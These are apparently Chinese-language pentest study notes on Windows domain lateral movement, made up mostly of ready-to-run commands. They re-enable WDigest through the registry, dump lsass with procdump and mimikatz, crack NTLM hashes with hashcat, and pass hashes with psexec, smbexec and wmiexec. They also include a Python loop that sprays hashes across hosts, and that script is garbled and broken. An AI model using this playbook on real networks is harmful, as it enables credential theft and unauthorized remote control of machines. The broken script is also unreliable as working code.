知识点
windows 2012以上版本默认关闭wdigust,攻击者无法从内存中获取明文密码;
Windows2012以下版本如安装KB287199补丁,同样也无法从内存中获取明文密码;
解决方法:
1、利用哈希hash传递(ptl、ptk等)进行移动
2、利用其他服务协议(SMB、WMI等)进行哈希移动
3、利用注册表操作开启wdigust、Auth值进行获取
4、利用工具或第三方平台(Hachcat)进行破解
知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
注册表修改开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Procdump(windows官方自带)+Mimikatz配合获取
优点:isass.dump包括一些windows本地策略和账户管理,获取lsass.dmp文件后,可在本地mimikatz解密;
cmd切换盘:cd /d 目标地址
当mimikatz获取失败时配合procdump获取密码
1、生成储存着密码hash值的.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
2、将dmp文件放到mimikatz上执行
提权: privilege::debug
记录控制台输入结果:log
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
附两款提取密码的软件
Pwdump7
QuarksPwdump
Hashcat工具破解获取Windows NTML Hash
hashcat -a 0 -m 1000 hash file --force
该工具还支持更多密码破解
32ed87bdb5fdc5e9cba88547376818d4
利用SMB服务通过明文hash传递远程执行,条件445服务端口开放即可;
1、psexec第一种(pstool中的PsExec.exe文件):先有ipc链接,psexec需要明文或hash传递
需要先有ipc链接,-s以System权限运行
net use \[IP]\ipc$"[密码]" /user:[用户名]
net use \192.168.79.132\ipc$ lcn#123456 /user:lcn.cn\Administrator #建立tcp连接
PsExec.exe \192.168.79.132 -s cmd
2、psexec第二种:不用建立IPC直接提供明文账户密码
PsExec.exe \[IP] -u [用户名] -p [密码] -s cmd
PsExec.exe \192.168.79.132 -u administrator -p lcn#123456 -s cmd
PsExec.exe -hashes :[密码的hash值] ./[用户名]@[IP]
PsExec.exe -hashes :b7f2f7b2491ba316e8cd773f8c2d58df ./administrator@192.168.79.132
PsExec.exe -hashes :HASH ./administrator@10.1.2.3
PsExec.exe -hashes :[密码的hash值] [域名]/[用户名]@[IP]
PsExec.exe -hashes :HASH domain/administrator@10.1.2.3
尝试失败。。
官方Pstools无法采用hash连接,可以使用impacket工具包,操作简单,容易被杀
3smbexec无需先ipc链接明文或hash传递
smbexec [域名]/[用户名]:[密码]@[IP]
smbexec lcn.cn/administrator:lcn#123456@192.168.79.132
smbexec ./[用户名]:[密码]@[IP]
smbexec ./administrator:lcn#123456@192.168.79.132
smbexec -hashes :[密码的hash值] ./[用户名]@[IP]
smbexec -hashes :HASH ./lcn#123456@192.168.79.132
smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]
smbexec -hashes :HASH lcn.cn/administrator@192.168.79.132
smbexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df lcn.cn/administrator@192.168.79.132
使用impacket工具包中的psexec模板同理
psexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df lcn.cn/administrator@192.168.79.132
如何区分本地和域用户
net user :本地用户
net user /domain:域用户;连接域用户需加域名;
域横向移动WMI服务利用-cscript、wmiexec、wmic
WMI(Windows Management Instrumentation)是**==通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。**==**
**1、自带WMIC明文传递,无回显
wmic /node:[IP] /user:[用户名] /password:[密码] process call create "[命令]"
wmic /node:192.168.79.130 /user:administrator /password:admin@123 process call create "cmd.exe /c ipconfig >C:\1.txt"
(运行cmd,执行ipconfig并将结果输出到C盘下的1.txt中)
2、自带cscript明文传递,有回显,需要下载wmiexec.vbs配合
cscript //nologo wmiexec.vbs /shell [IP] [用户名] [密码]
cscript //nologo wmiexec.vbs /shell 192.168.79.130 administrator admin@123
会反弹一个shell
3、套件impacket wmiexec明文或hash传递,有回显exe版本,可能被杀
wmiexec ./[用户名]:[密码]@[IP] "[命令]"
wmiexec ./administrator:lcn#123456@192.168.79.132 "whoami"
wmiexec [域名]/[用户名]:[密码]@[IP] "[命令]"
wmiexec lcn.cn/administrator:lcn#123456@192.168.79.132 "whoami"
wmiexec -hashes :[密码的hash值] ./[用户名]:[密码]@[IP] "[命令]"
wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.79.130 "whoami"
wmiexec -hashes :[密码的hash值] [域名]/[用户名]:[密码]@[IP] "[命令]"
wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 god/administrator@192.168.3.21 "whoami"
域横向移动以上服务hash批量利用-python编译exe
利用py脚本制作的exe文件批量尝试横向渗透
内网横向渗透攻击思路
通过mimikatz收集明文或hash值的密码,"net user /domain"收集域内的用户名,"for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=""探索域内存活地址
批量扫描,用密码撞库
收集更多密码
重复2、3步
``
```
import os
import time
ips={
'192.168.79.128',
'192.168.79.129',
'192.168.79.130',
'192.168.79.132'
}
users={
'admin',
'Administrator',
'administrator',
'userlu',
'testuser',
'juligan'
}
hashs={
'579da618cfbfa85247acf1f800a280a4',
'b7f2f7b2491ba316e8cd773f8c2d58df'
}
'''
passs={
'admin@123', 'admin!123', 'admin#123', 'lcn#123456'}
'''
for ip in ips:
for user in users:
for hash in hashs:
wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.3.21 "whoami"
exec="wmiexec -hashes :" +hash +' lcn.cn/' +user+ '@'+ ip + "whoami"
execs = "wmiexec -hashes :" + hash + ' ./administrator' + user + '@' + ip + "whoami"
print('--》'+exec+'《--')
os.system(exec)
time.sleep(1)
### 涉及资源:
Hashcat:https://github.com/hashcat/hashcat
密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html
mimikatz:https://github.com/gentilkiwi/mimikatz
impacket:https://github.com/SecureAuthCorp/impacket
impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows
PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
ProcDump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
wmiexec.vbs:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs
wmiexec.vbs(找了俩):https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs